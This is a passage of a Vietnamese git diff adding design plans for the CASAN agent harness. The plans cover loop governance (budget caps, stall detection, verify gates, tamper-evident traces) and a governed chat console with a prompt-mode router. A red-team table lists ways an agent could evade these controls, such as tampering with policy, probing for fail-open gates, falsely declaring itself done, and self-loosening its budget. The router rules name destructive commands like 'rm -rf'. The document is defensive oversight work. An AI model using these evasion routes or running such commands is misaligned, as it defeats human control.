leo thang cho người**. Độ tin cậy đến từ **cấu trúc vòng +lặp**, không phải một prompt hoàn hảo. +> *Prompt tốt cho câu trả lời hay; loop tốt cho **hệ thống đáng tin**.* + +### CASAN đã có sẵn bộ máy loop (đối chiếu FPT §10.4, §4.4, §14) +7 harness component chính là cơ khí của một vòng lặp được kỹ thuật hoá: + +| Yếu tố loops-engineering | CASAN đã có | +|---|---| +| Cấu trúc lặp observe→act→verify→correct | **H7 Orchestration / điều phối** (FPT §10.4) | +| Gate kiểm định mỗi vòng | **H3 Evaluation/Validation** + `security-check` action-gate | +| Guardrail trong vòng (fail-closed) | **H4 Security** (deny-by-default) | +| Leo thang cho người khi bí/rủi ro | **H5 Governance** + HITL approval (L0–L5, §4.4) | +| Quản trị ngữ cảnh giữa các vòng | **H1 Context** + `context-compress.py` | +| Quan sát/trace theo vòng | **H6 AgentOps** + audit hash-chain | +| Cải thiện chính vòng lặp | `self-improve.py` (propose ≠ apply) | + +**Kết luận:** CASAN vốn là loop-engineering nhiều hơn prompt-engineering — chỉ **chưa +đặt tên và chưa formalize các "loop primitive" hạng nhất.** + +### Khoảng trống (5 primitive còn thiếu) +1. **Loop Budget Governor** — trần số bước / token / thời gian / chi phí mỗi vòng lặp → tự dừng (loop-breaker). *Chưa có.* +2. **No-progress / Oscillation Detector** — phát hiện lặp cùng hành động hoặc không tiến gần mục tiêu → halt/leo thang. *Chưa có.* +3. **Per-iteration Verify Contract** — mỗi vòng phải qua gate mới sang vòng sau; fail → correction có cấu trúc, không retry mù. *H3 có gate nhưng chưa là hợp đồng theo vòng.* +4. **Loop Trace / Replay** — ghi từng vòng (state/action/verdict) để audit & tua lại một loop. *Audit chain có mảnh, chưa có "loop view".* +5. **Meta-loop** — self-improve đề xuất sửa chính loop-policy → người duyệt. *Có self-improve, chưa mở sang loop policy.* + +--- + +## 2. Nguyên tắc (bắt buộc, kế thừa Plan-16) +- **Fail-closed toàn diện:** mọi primitive lỗi/thiếu dữ liệu/không đọc được policy ⇒ **HALT vòng lặp** (không "cho chạy tiếp"). Không có đường thoát fail-open. +- **Deny-by-default budget:** run không có policy khớp ⇒ áp **ceiling mặc định chặt nhất**, không phải "vô hạn". +- **Secure-by-default (không opt-in):** trong profile `prod`, loop governance **bật mặc định**; muốn tắt phải **opt-out tường minh có audit** (đảo lại lỗi ARCH-03 của Plan-16). Profile `dev` có thể nới nhưng vẫn ghi audit. +- **Tăng tự chủ = cần duyệt cấp cao:** nới budget / hạ mức gate / tăng delegation-level (L→L+1) là **security-sensitive setting** ⇒ phải qua approval JWT thật (SEC-07) + SoD (proposer ≠ approver), versioned, rollback. Nối Plan-13/14. +- **Mọi số có provenance:** output primitive bọc envelope `{source, artifact_path, commit, run_at, verified}` — cùng data-contract §8.6 Plan-13 (để Command Center "wow thực chất"). +- **Con người luôn có nút dừng:** loop-breaker ở **mức vòng lặp** (kill-switch granular hơn Plan-07 C7). +- **Idempotent & tail-safe:** trace append-only, hash-linked; replay không sửa nguồn. + +--- + +## 3. Định nghĩa "Vòng lặp CASAN chuẩn" (Loop Contract) + +Một **run** là chuỗi **iteration**. Mỗi iteration là một bản ghi bất biến: + +``` +Iteration = { + run_id, step, + intent, # ý định của bước (mục tiêu con) + action, tool, inputs_ref, # hành động + tool + tham chiếu input (không nhúng secret) + gate_verdict, # H3/H4: PASS | FAIL | DENY (+ evidence_ref) + progress, # tín hiệu tiến độ (đơn điệu tăng khi tiến gần goal) + budget_snapshot, # {steps, tokens, elapsed_s, cost_usd} tích luỹ + decision # CONTINUE | HALT | ESCALATE | DONE +} +``` + +**Điều kiện dừng (bất kỳ cái nào đúng ⇒ kết thúc):** +- `DONE` — verify đạt **success-criteria** của goal (không phải "model tự nói xong"). +- `HALT(budget)` — vượt trần Governor (Track 1). +- `HALT(no-progress)` / `HALT(oscillation)` — Convergence detector (Track 2). +- `ESCALATE(human)` — gate DENY nghiêm trọng, hoặc stall ở mức rủi ro cao ⇒ vào approvals inbox (Plan-13 §3.4). +- `HALT(human)` — loop-breaker do người bấm. + +```mermaid +flowchart TD + S["observe / plan"] --> A["act (tool call)"] + A --> G{"H3/H4 verify gate
(Track 3)"} + G -- FAIL --> C["structured correction
(bounded retries)"] + C --> G + G -- PASS --> B{"Budget Governor
(Track 1)"} + B -- exceeded --> HB["HALT(budget)"] + B -- ok --> CV{"Convergence
(Track 2)"} + CV -- STALLED/OSC --> ESC["ESCALATE / HALT"] + CV -- converging --> D{"success-criteria?"} + D -- yes --> DONE["DONE ✅"] + D -- no --> S + G -- DENY --> ESC + A -.trace.-> T[("Loop Trace
append-only, hash-linked
(Track 4)")] + G -.trace.-> T + B -.trace.-> T + CV -.trace.-> T +``` + +Vị trí file (sau Plan-01 restructure → `packages/casan-harness/`; hiện tại +`.specify/scripts/bash/`). Config ở `.specify/config/`. Không nằm trong `apps/okr`. + +--- + +## 4. Tasks theo track + +### Track 1 — Loop Budget Governor +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 17.1 | Schema `loop-policy.yaml`: `defaults` + override theo `delegation_level` (L0–L5) + theo `project`. Trường: `max_steps`, `max_tokens`, `max_wall_clock_sec`, `max_cost_usd`, `max_corrections_per_step`, `on_exceed: halt\|escalate`. Bao gồm `profile: prod\|dev`. | mới `config/loop-policy.yaml` + `loop-policy.schema.json` | schema validate; thiếu policy → dùng default chặt nhất | +| 17.2 | `loop-governor.py`: `check --run-id --step --tokens --elapsed --cost` → exit 0 = CONTINUE, exit 3 = HALT(budget) kèm lý do JSON (envelope provenance). **Deny-by-default**; đọc policy lỗi ⇒ exit 3 (fail-closed). | mới `loop-governor.py` | vượt trần → exit 3 + audit; policy hỏng → exit 3 | +| 17.3 | Nới budget = **security-sensitive** → phải qua `control-plane-settings.py` (approval JWT thật + SoD + versioned + rollback). | nối Plan-13/14 | nới không approval → DENY | +| 17.4 | Audit event khi HALT(budget) (hash-chain, Plan-07 H5). | nối audit | bản ghi truy được | + +### Track 2 — No-progress / Oscillation Detector +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 17.5 | `loop-convergence.py observe --run-id --step --action-hash --progress` (append vào state run). `verdict --run-id` → `CONVERGING\|STALLED\|OSCILLATING`. | mới `loop-convergence.py` | chuỗi tiến bộ → CONVERGING | +| 17.6 | Luật phát hiện: (a) **oscillation** = cùng `action-hash` lặp ≥ N (config); (b) **no-progress** = `progress` không cải thiện trong cửa sổ W bước; (c) **thrash** = xen kẽ 2 state. Ngưỡng N/W trong `loop-policy.yaml`. | cùng file | lặp action → OSCILLATING; phẳng W bước → STALLED | +| 17.7 | STALLED/OSCILLATING → `on_stall: escalate\|halt` (mặc định escalate vào approvals inbox Plan-13). | nối Plan-13 §3.4 | stall → tạo pending approval | +| 17.8 | Envelope provenance + audit khi phán quyết STALLED/OSC. | nối audit | verdict truy được nguồn | + +### Track 3 — Per-iteration Verify Contract +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 17.9 | `loop-gate.py verify --run-id --step --artifact` → `PASS\|FAIL\|DENY` + `correction_hint`. Bọc H3 (faithfulness/eval) + H4 (security-check action-gate) thành **một hợp đồng theo vòng**. | mới `loop-gate.py` (điều phối H3/H4) | fixture pass→PASS; injection→DENY | +| 17.10 | **Correction có cấu trúc**: FAIL → retry tối đa `max_corrections_per_step` (Track 1); vượt → ESCALATE. **Không** retry mù. | cùng file | quá số correction → ESCALATE | +| 17.11 | **Fail-closed**: gate lỗi/timeout/không đọc được artifact ⇒ FAIL (không PASS ngầm). Kế thừa SEC-04/SEC-09 Plan-16. | cùng file | gate throw → FAIL | +| 17.12 | Cấm "self-declared done": `DONE` chỉ hợp lệ khi verify đạt **success-criteria** khai báo trước (không dựa lời model). | contract check | model nói xong nhưng verify fail → không DONE | + +### Track 4 — Loop Trace / Replay +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 17.13 | `loop-trace.py record` — append-only bản ghi Iteration (§3) vào audit chain **hash-linked** (nối H5). Không nhúng secret (chỉ `inputs_ref`). | mới `loop-trace.py` | ghi N bước → chain liên tục | +| 17.14 | `loop-trace.py show --run-id` → "loop view" (từng vòng, verdict, budget, progress) — JSON + bảng người đọc. | cùng file | render đúng thứ tự bước | +| 17.15 | `loop-trace.py replay --run-id` — **tua lại xác định**: chạy lại verify trên artifact đã ghi, so verdict cũ/mới ⇒ phát hiện non-determinism/tamper. | cùng file | sửa 1 artifact → replay lệch → cảnh báo | +| 17.16 | `loop-trace.py verify-chain` — tamper-evidence (nối SEC-01/02 Plan-16, KMS-anchored khi TIER-2). | cùng file | sửa 1 bản ghi → chain BREAK | + +### Track 5 — Meta-loop (self-improving loop policy) +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 17.17 | Mở rộng `self-improve.py propose`: dựa AgentOps (H6) + loop-trace, đề xuất **sửa loop-policy** (nới/siết budget, thêm gate, chỉnh cửa sổ convergence) ở dạng **dry-run proposal**. | nối Plan-04 | propose không đổi policy (dry-run) | +| 17.18 | `apply` chỉ qua `control-plane-settings.py` (approval JWT thật + **SoD proposer≠approver** + versioned + rollback). | nối Plan-13/14/16 | apply không approval → DENY; rollback được | +| 17.19 | Meta-loop cũng bị Governor giới hạn (không tự nới vô hạn budget của chính nó). | nối Track 1 | đề xuất nới quá trần org → chặn | + +### Track 6 — Orchestrator integration & Control Plane +| Task | Việc | File | Verify | +|---|---|---|---| +| 17.20 | Wrapper `loop-run.sh`: mỗi turn gọi `loop-gate` → `loop-governor` → `loop-convergence` → `loop-trace.record`. Profile `prod` **bật mặc định**; opt-out phải tường minh + audit. | mới `loop-run.sh` | turn vi phạm bất kỳ gate → dừng đúng nhánh | +| 17.21 | Nối `model-router.sh`: loop context compaction giữa vòng dùng `context-compress.py` (Plan-08) + must-keep. | nối Plan-08 | context giữa vòng bị nén, giữ must-keep | +| 17.22 | Widget **Loop panel** trên Command Center (§8.6 Plan-13): budget gauge, convergence status, per-iteration ticker, **loop-breaker** (halt granular), click bước → Evidence drawer (loop-trace show). Data đọc-only từ artifact thật. | nối Plan-13 §8.6 | số khớp fixture; loop-breaker → HALT(human) | + +--- + +## 5. Red-team / test (kế thừa phong cách adversarial-harness) +| Test | Kỳ vọng | +|---|---| +| Runaway loop (không điều kiện dừng) | HALT(budget) trước trần; audit ghi | +| Oscillation (A→B→A→B…) | Track 2 phát hiện OSCILLATING → escalate | +| No-progress (chạy nhưng metric phẳng) | STALLED trong ≤ W bước | +| Blind-retry abuse (spam correction) | dừng ở `max_corrections_per_step` → ESCALATE | +| Self-declared done (model nói xong, verify fail) | KHÔNG DONE | +| Policy tampering (sửa loop-policy né budget) | apply cần approval; `verify-chain` phát hiện sửa lén | +| Fail-open probe (làm gate throw để "được chạy tiếp") | FAIL/HALT (fail-closed) | +| Meta-loop tự nới budget vô hạn | chặn bởi trần org + SoD | +| Replay tamper (sửa artifact đã ghi) | replay lệch verdict → cảnh báo; chain BREAK | + +**File test:** `.specify/tests/phase-loop-governor-tests.sh`, `phase-loop-convergence-tests.sh`, +`phase-loop-gate-tests.sh`, `phase-loop-trace-tests.sh`, `phase-loop-metaloop-tests.sh`. +Chạy trong **WSL Ubuntu** (deterministic, không cần model/docker/mạng). Nối +`ci-harness-gate.sh`. Cập nhật tổng test ở `CASAN_HARDENING_STATUS.md`. + +--- + +## 6. Tiêu chí hoàn thành (Definition of Done) +- [ ] 5 primitive có script + config schema + test xanh trong WSL, nối CI. +- [ ] Mọi primitive **fail-closed** (chứng minh bằng test làm gate lỗi → HALT/FAIL). +- [ ] Loop governance **bật mặc định** ở profile `prod`; opt-out có audit. +- [ ] Nới budget / hạ gate / tăng delegation-level đều cần **approval JWT thật + SoD** (không bypass bằng chuỗi non-empty — bài học M-08/SEC-07). +- [ ] `loop-trace verify-chain` phát hiện tamper; `replay` phát hiện non-determinism. +- [ ] Meta-loop `propose ≠ apply`; apply có versioned + rollback. +- [ ] Widget Loop trên Command Center đọc **artifact thật** + click-to-evidence (không vanity). +- [ ] Không đụng OKR app; core harness giữ nguyên số test hiện có + thêm suite loop. + +--- + +## 7. Ghi chú trung thực +- **T1–T6 đã implement+tested (offline, 97/0 WSL, nối CI)** — đủ 5 loop primitive + + orchestrator. T4 mới là **offline slice** (hash-chain local; KMS-anchor head 17.16 + còn chờ A7). T5 meta-loop apply đi qua **governed CP store thật** (versioned + + audit + rollback + SoD) và **đổi được ceiling của governor**; loosen vượt org_ceiling + bị chặn (17.19). Còn lại (infra-gated): T4 KMS-anchor, T6 widget Command Center + (17.22, dep C5), live H3-judge. Không over-claim: primitive "thật" nhờ Plan-16 đã + vá (approval JWT SEC-07 ✅, fail-closed SEC-04/09 ✅, tamper-evidence SEC-01/02 ✅). +- **Không phải làm lại từ đầu:** nền tảng (H3/H4/H5/H6/H7 + `self-improve.py` + `context-compress.py` + audit chain) đã có và test xanh. Plan-17 = **đặt tên "loop engineering" + bổ sung 5 primitive** bọc lên nền đó. +- **Phụ thuộc cứng vào Plan-16:** các primitive chỉ "thật" khi approval JWT thật (SEC-07), fail-closed (SEC-04/09), tamper-evidence (SEC-01/02), secure-by-default (SEC-17/ARCH-03) đã vá. Nếu Plan-16 chưa xong, Track 1/3/5 vẫn viết được nhưng **enforcement còn hở** — phải ghi rõ khi báo cáo, không over-claim. +- **Rẻ + verify offline trước:** khuyến nghị bắt đầu bằng **17.1–17.2 (Governor)** và **17.5–17.6 (Convergence)** — thuần Python/bash, deterministic, verify WSL ngay, không cần model/infra. +- **Giá trị định vị:** biến CASAN thành **"Agentic Loop Governance"** — hợp trend 2026 và hợp câu chuyện "wow thực chất" (budget/convergence/loop-trace là số **đo được, verify được, click-to-evidence được**). + +--- +_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (H5 audit, H6 AgentOps, C4 approval, C7 kill-switch) · `CASAN_PLAN_10_TRACEABILITY_EVAL.md` (H3 eval — gate mỗi vòng) · `CASAN_PLAN_13_CONTROL_PLANE.md` (§3.4 HITL inbox, §8.6 Command Center — widget Loop + governed loop-policy) · `CASAN_PLAN_14_RBAC.md` (nới budget cần org-admin + SoD) · `CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md` (fail-closed, approval JWT thật, tamper-evidence) · `CASAN_PLAN_04_SELFIMPROVE.md` (meta-loop) · `CASAN_PLAN_08_CONTEXT_COMPRESSION.md` (compaction giữa vòng)._ diff --git a/docs/plans/CASAN_PLAN_18_CHAT_CONSOLE.md b/docs/plans/CASAN_PLAN_18_CHAT_CONSOLE.md new file mode 100644 index 0000000..28d6896 --- /dev/null +++ b/docs/plans/CASAN_PLAN_18_CHAT_CONSOLE.md @@ -0,0 +1,367 @@ +# KẾ HOẠCH 18 — Governed Chat Console (Chat-as-Loop qua Control Plane) + +> Status 2026-07-07: **📋 planned — CHƯA implement.** Plan thiết kế; không có code +> trong đợt này. Mục tiêu: thêm **cửa sổ chat** vào Control Plane (Plan-13) như một +> **bề mặt tương tác của core harness** — mỗi lượt chat là **một loop-run được +> governance** (Plan-17), đi qua đúng H1→H7, không có đường vòng. Đây **không** phải +> một chatbot; nó là **governed agent console**. +> +> Nhãn trạng thái: xem legend ở `CASAN_BACKLOG_STATUS.md`. +> Phụ thuộc: **17** (Loop Contract — turn = loop-run; budget/convergence/verify/trace) · +> **13** (Control Plane — API bọc harness, HITL inbox §3.4, Command Center §8.6) · +> **14** (RBAC — ai được chat/chọn agent nào) · **16** (fail-closed, approval JWT thật, +> secure-by-default, tamper-evidence — Plan-18 PHẢI tuân) · **03/02** (model-router + +> skill/agent) · **08** (nén context giữa vòng) · **07** (H5 audit, C4 approval, C7 +> kill-switch). **Chặn cứng multi-user:** SEC-23 (tenant-partition) — chat state là +> per-tenant, không được dùng file chung. +> +> **⚠️ Scope note (chống lan man — đọc trước khi implement):** file này mô tả **target +> architecture** cho Governed Chat Console production. **KHÔNG implement toàn bộ một +> lần.** MVP đầu tiên chỉ là **Ask CASAN — Read-only Evidence Assistant**: Prompt +> Router chỉ `READ_ONLY/BLOCK/NOT_SUPPORTED`, context whitelist (Evidence Pack/reports/ +> docs), H4 scan in/out, H5 audit chat, H6 token tracking, trả lời **kèm nguồn +> evidence**. Operator/Codegen/Agent-selection/Chat-as-loop/tenant-hardening làm **theo +> phase sau** (xem §1b). Thứ tự bắt buộc: **MVP-0 → MVP-1 → MVP-2 → MVP-3**; không mở +> khoá phase sau khi phase trước chưa xanh CI. + +--- + +## 1. Bối cảnh — vì sao là "chat", vì sao qua harness + +CASAN đã là **loop-engineering** (Plan-17): `observe→act→verify→correct` với gate mỗi +vòng, budget, hội tụ, leo thang cho người. Nhưng bộ máy đó hiện **chạy batch/CLI** — +con người không "ngồi trong vòng lặp". **Chat console** biến vòng lặp đó thành một +**bề mặt hội thoại**: người nhập ý định → agent chạy một loop-run được governance → +người thấy từng bước, duyệt khi cần, bấm dừng khi muốn. + +**Ranh giới quyết định (nếu vi phạm thì đừng làm):** + +| Chatbot thường (❌ không làm) | Governed Chat Console (✅ plan này) | +|---|---| +| Input → model → stream thẳng ra | Input → **H4 preflight/injection** → route → **act qua action-gate** → **H3/H4 verify** → mới lộ | +| Tool call tự do | Mọi tool-call qua `action-gate` + `tool-exec` sandbox + tool-allowlist theo agent | +| Chọn agent = tiện ích UI | Chọn agent = **quyết định routing được RBAC + approval + audit** | +| Lịch sử = 1 file/log chung | Lịch sử **per-tenant** (SEC-23), hash-linked, replay được | +| "Model nói xong là xong" | `DONE` chỉ hợp lệ khi verify đạt **success-criteria** (Plan-17 §3) | + +> **Một câu:** chat không phải kênh mới để *né* harness; chat là **cửa để harness trở +> nên hữu hình**. Giá trị nằm ở chỗ mỗi lượt đều **verify được, replay được, +> click-to-evidence được**. + +### Bám tư tưởng (FPT §4.3/§4.4/§14 · tư tưởng CASAN) +- **Human-led, AI-first** hiện thân trực tiếp: chat là nơi con người **nhìn thấy & + hành động** trong vòng lặp (nối Plan-13 §3.4 approvals inbox + delegation L0–L5). +- **Core harness là lõi, không phải source-gen:** chat là **vỏ mỏng** trên harness + core (single-source governance) — nó **không** thêm quyền phán quyết mới, không tái + hiện gate. Ưu tiên vẫn là củng cố core (Index P1); chat đứng **sau** Plan-17. +- **Governance-first, không "wow rỗng":** mọi số trên UI có provenance envelope + (Plan-13 §8.6) — đọc từ artifact thật, không vanity. + +--- + +## 1b. Lát cắt MVP & thứ tự thực thi (bắt buộc — chống scope-creep) + +> Plan-18 = **target architecture**. Để làm gần mà không ngợp, cắt thành **4 lát**, +> mỗi lát tự đứng được (shippable) và **không** mở khoá lát sau nếu lát trước chưa +> xanh CI. Đây là phần chống "càng làm càng nhiều chức năng". + +| MVP | Tên | Làm gì | KHÔNG làm | Phụ thuộc thêm | Tracks | +|---|---|---|---|---|---| +| **MVP-0** | **Ask CASAN** (Read-only Evidence Assistant) | Chat panel đọc **whitelist** (Evidence Pack/reports/docs); Prompt Router `READ_ONLY/BLOCK/NOT_SUPPORTED`; H4 scan in/out; H5 audit; H6 token; trả lời **kèm nguồn** | Không command · không file-write · không skill/agent exec · không tenant/RBAC nặng | **Không cần Plan-17/14/SEC-23** — chỉ H4/H5/H6 (đã có) + model-router read-only | 0 (rút gọn), 1, 2, M (tối thiểu), 7 (UI tối thiểu) | +| **MVP-1** | **Operator** (registered actions) | Whitelist hành động an toàn: `run tests` / `build pack` / `verify pack` qua `action-gate` | Không codegen · không agent tự chọn · không loop tự chủ · không free-command | +Plan-07 action-gate/kill-switch | 3 | +| **MVP-2** | **Chat-as-Loop + Agent/Skill** | Turn = loop-run (Plan-17); agent/skill selection (RBAC+allowlist); codegen qua H4; streaming draft-hold | Không multi-tenant production | **+Plan-17 (T1–T3), +Plan-14 RBAC** | 4, 5, 6, 8 | +| **MVP-3** | **Multi-tenant governed production** | tenant-partition (SEC-23), per-tenant encrypt, approvals inbox đầy đủ, replay/verify-chain KMS | — | **+SEC-23, +Plan-07 TIER-2** | 9, 8 (đầy đủ) | + +> **Quy tắc cổng:** MVP-0 **không** phụ thuộc Plan-17/14/SEC-23 ⇒ làm được ngay trên +> nền hiện có. Loop-core (Plan-17) + RBAC (14) chỉ cần từ **MVP-2**; tenant-partition +> (SEC-23) chỉ cần ở **MVP-3**. Một tính năng chỉ "thật" khi có test đối kháng xanh. + +--- + +## 2. Nguyên tắc (bắt buộc — kế thừa Plan-16 + Plan-17) +1. **Không đường vòng.** Chat input là input-vector trực tiếp ⇒ đi qua **cùng** + `harness-preflight` (PII→cloud), `security-check`/H4, `context-assemble-scan`, + `tool-output-scan` như mọi luồng khác. UI/API **không** được bypass gate. +2. **Single-source governance.** Chat backend gọi lại `.specify/**` harness core (đúng + mô hình "API bọc harness" của Plan-13). **Cấm** reimplement verdict ở tầng chat. +3. **Secure-by-default = L1.** Mặc định người duyệt mọi hành động có side-effect; + tăng tự chủ (L→L+1) là **security-sensitive** ⇒ approval JWT thật + SoD + versioned + + rollback (bài học ARCH-03/SEC-07). Profile `prod` bật enforce mặc định. +4. **Fail-closed toàn diện.** Gate lỗi/timeout/không đọc được policy ⇒ **chặn lượt** + (không "cứ trả lời"). Kế thừa SEC-04/SEC-09. +5. **Tenant-partition từ ngày đầu.** `chat_id`/lịch sử/loop-trace phân vùng theo + `tenant_id` + quyền FS; không file chung (MT-01/SEC-23). RBAC ở **cả tầng dữ liệu**, + không chỉ API. +6. **Streaming có kỷ luật.** Được stream **draft** nhưng gắn nhãn `UNCERTIFIED` tới khi + H3/H4 pass; **side-effect/tool-call bị giữ** cho tới lúc pass (xem §3c). +7. **Mọi lượt replay được.** Turn = loop-run ⇒ ghi vào loop-trace hash-linked (Plan-17 + Track 4). Không nhúng secret (chỉ `*_ref`). + +--- + +## 3. Định nghĩa — "Chat Turn = Loop Run" + +Một **chat** là chuỗi **turn**. **Mỗi turn = một loop-run của Plan-17** (không định +nghĩa vòng lặp riêng — tái dùng Loop Contract §3 của Plan-17). Bản ghi bất biến: + +``` +ChatTurn = { + chat_id, tenant_id, turn_id, actor, + user_msg_ref, # tham chiếu (không nhúng PII/secret thô) + agent_selected, skill_selected, + tool_allowlist, delegation_level, # bind theo agent (§3c) + loop_run_id, # NỐI Plan-17: turn chạy như 1 loop-run + preflight_verdict, # H4: PII→cloud / injection (PASS|DENY) + iterations[], # từng Iteration theo Loop Contract (Plan-17 §3) + output_ref, certified, # certified=false ('UNCERTIFIED') tới khi H3/H4 PASS + decision # ANSWERED | ESCALATED | HALTED | DENIED +} +``` + +**Điều kiện kết thúc turn** (ánh xạ thẳng Plan-17 §3): +- `ANSWERED` — verify đạt success-criteria ⇒ output `certified=true`. +- `ESCALATED(human)` — gate DENY nghiêm trọng / stall rủi ro cao ⇒ vào approvals inbox + (Plan-13 §3.4). +- `HALTED` — budget governor (Plan-17 T1) / convergence (T2) / loop-breaker người bấm. +- `DENIED` — RBAC/preflight chặn ngay từ đầu. + +### 3a. Kiến trúc luồng một turn + +```mermaid +flowchart TD + U["User msg + chọn agent/skill"] --> RB{"RBAC (14):
được chat + chọn agent này?"} + RB -- no --> DEN["DENIED + lý do (audit)"] + RB -- yes --> BIND["bind tool-allowlist + delegation_level (§3c)"] + BIND --> PF{"H4 preflight:
PII→cloud, injection scan"} + PF -- DENY --> DEN + PF -- PASS --> H1["H1 context assemble + compress (Plan-08, must-keep)"] + H1 --> RT["model-router --role + agent (03/02)"] + RT --> LOOP["loop-run.sh (Plan-17): observe→act→verify→correct"] + LOOP --> ACT["act: tool-call → action-gate + tool-exec sandbox
(chỉ tool trong allowlist)"] + ACT --> VG{"loop-gate verify (Plan-17 T3):
H3 eval + H4 security"} + VG -- FAIL --> CORR["structured correction (bounded, T1)"] --> ACT + VG -- DENY/sensitive --> ESC["ESCALATE → approvals inbox (13 §3.4)"] + VG -- PASS --> REVEAL["reveal output (certified=true)"] + LOOP -. draft .-> DRAFT["stream UNCERTIFIED (side-effect giữ) (§3c)"] + REVEAL --> TR["loop-trace record (T4) + H5 audit (per-tenant)"] + TR --> GOV{"budget governor (T1) + convergence (T2)"} + GOV -- continue --> H1 + GOV -- DONE/HALT --> END["kết thúc turn (replayable)"] + style VG fill:#fff3cd,stroke:#8a6d3b,stroke-width:2px + style RB fill:#d0e8ff,stroke:#2c3e91,stroke-width:2px +``` + +### 3b. Điểm căng đã quyết: **Streaming vs Verify-before-output** +- **Read-only agent (L0):** cho **stream trực tiếp** (không side-effect) — vẫn qua + preflight, output vẫn đi qua H3/H4 rồi mới `certified=true`. +- **Agent có side-effect (≥L1):** **stream draft `UNCERTIFIED`** cho UX, nhưng **mọi + tool-call/ghi file/exec bị GIỮ** đến khi `loop-gate` PASS; nếu DENY → draft bị thu + hồi, không có tác dụng phụ nào xảy ra. +- **Bất biến:** draft **không bao giờ** được thực thi tool trước gate. "Nhìn thấy" ≠ + "đã làm". + +### 3c. Chọn skill/agent = **routing được governance** (không phải dropdown tự do) +- `agent-registry.yaml` (managed qua Control Plane, versioned + audit): mỗi agent khai + báo `tool_allowlist`, `max_delegation_level`, `roles_allowed`, `model_role`. +- Chọn agent ⇒ **bind** `tool_allowlist` + `delegation_level` cho turn đó; RBAC (14) + quyết ai được chọn agent nào; chọn agent tự chủ cao hơn mức cho phép = **security- + sensitive** ⇒ approval JWT thật + SoD. +- Skill (code-gen) chạy **trong** allowlist của agent + vẫn qua H4 artifact-scan như + Plan-02. Không có skill nào "thoát" gate. + +### 3d. Prompt Mode Router (rule-first, model-assisted) — cổng phân loại TRƯỚC loop + +> Không phải chat nào cũng cần một loop-run nặng. **Router phân loại ý định TRƯỚC**, +> rồi mới quyết mức xử lý — read-only thì nhẹ, operator/codegen mới nặng. Đây là lý do +> MVP-0 không cần Plan-17: `READ_ONLY` không kích hoạt loop-run. + +| Mode | Ý nghĩa | Cho phép | Gate / mức | MVP | +|---|---|---|---|:--:| +| `READ_ONLY` | Hỏi–đáp trên evidence/doc whitelist | đọc context whitelist | H4 in/out, không side-effect | 0 | +| `ANALYSIS` | Suy luận/tổng hợp không side-effect | đọc rộng hơn + reasoning | H4 in/out, L0 | 0/1 | +| `OPERATOR` | Chạy hành động đã đăng ký | run/build/verify pack | action-gate + approval theo mức | 1 | +| `CODEGEN` | Sinh/sửa mã | skill trong allowlist | H4 artifact-scan + loop-gate | 2 | +| `ADMIN`/`GOVERNANCE` | Đổi settings/policy/delegation | control-plane-settings | approval JWT + SoD (security-sensitive) | 2/3 | +| `BLOCK`/`NOT_SUPPORTED` | Injection / ngoài phạm vi / nguy hiểm | — | DENY + audit | 0 | + +**Nguyên tắc router:** +- **Rule-first, deterministic:** phân loại theo *requested-capabilities* + *denied-verbs* + + *bypass-terms* (regex/keyword), **không** phụ thuộc model. +- **Model-assisted chỉ cho ca mơ hồ**, và **rule thắng nếu rủi ro cao hơn** (model nói + `READ_ONLY` nhưng rule thấy `rm -rf`/`deploy`/`chmod` ⇒ giữ mức cao / `BLOCK`). +- **Preview cho người:** UI hiện `mode phát hiện + risk + gates + có cần approval`. +- **Fail-closed:** router lỗi / không đọc được policy ⇒ `BLOCK`; kết quả phân loại ghi + vào H5 audit. + +--- + +## 4. Tasks theo track (gắn nhãn MVP) + +> Thứ tự đọc = thứ tự làm: **Router → Read-only → session/audit → operator → agent → +> loop → streaming → API/UI → replay → tenant.** Mỗi track gắn nhãn MVP; **không** làm +> track của MVP sau khi MVP trước chưa xanh CI. Tất cả verify trong **WSL** (deterministic). + +### Track 0 — Prompt Mode Router `[MVP-0 rút gọn → đầy đủ ở MVP-1/2]` +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 18.0.1 | Định nghĩa modes + policy map `mode→gate/mức` (READ_ONLY/ANALYSIS/OPERATOR/CODEGEN/ADMIN/BLOCK/NOT_SUPPORTED) | mới `config/prompt-modes.yaml` | schema validate; thiếu policy → BLOCK | +| 18.0.2 | Classifier **deterministic**: requested-capabilities + denied-verbs + bypass-terms | mới `prompt-mode-router.py` | `rm -rf`/`deploy` → OPERATOR/BLOCK, không READ_ONLY | +| 18.0.3 | Model-assisted **chỉ cho ca mơ hồ** (optional, skip-aware) | cùng file | không model → vẫn phân loại bằng rule | +| 18.0.4 | **Rule thắng model** khi rule rủi ro cao hơn | cùng file | model=READ_ONLY + rule=OPERATOR → giữ OPERATOR | +| 18.0.5 | Preview `{mode, risk, gates, needs_approval}` cho UI | cùng file | payload đúng cho từng mode | +| 18.0.6 | Audit kết quả phân loại vào H5 (fail-closed: lỗi → BLOCK) | nối audit | router lỗi → BLOCK + audit | + +### Track 1 — Read-only Ask CASAN (Evidence Assistant) `[MVP-0]` +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 18.1.1 | Context **whitelist**: Evidence Pack + reports + docs (đọc-only, chặn path ngoài whitelist) | mới `chat-context-readonly.sh` | hỏi ngoài whitelist → không lộ | +| 18.1.2 | Trả lời **kèm nguồn** (`answer + sources[]`, provenance envelope) | cùng file | mỗi câu trả lời có ≥1 source ref | +| 18.1.3 | H4 scan **input + output**; H6 token tracking mỗi lượt | nối H4/H6 | injection → DENY; token ghi H6 | +| 18.1.4 | Cấm tuyệt đối side-effect ở mode này (no command/no write/no skill) | guard | thử exec ở READ_ONLY → BLOCK | + +### Track 2 — Chat session + audit trace `[MVP-0]` +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 18.2.1 | Schema phiên `chat_id/turn_id/actor` (tenant-ready; MVP-0 single-tenant OK) | mới `config/chat-session.schema.json` | schema validate | +| 18.2.2 | Ghi `ChatTurn` (§3) append-only, hash-linked H5 (không nhúng PII/secret, chỉ `*_ref`) | nối H5 audit | N turn → chain liên tục; secret không lộ | +| 18.2.3 | PII mask trước khi lưu (nối `pii-mask.py`/RAI Plan-15) | nối `rai-guard.py` | msg có PII → audit đã mask | 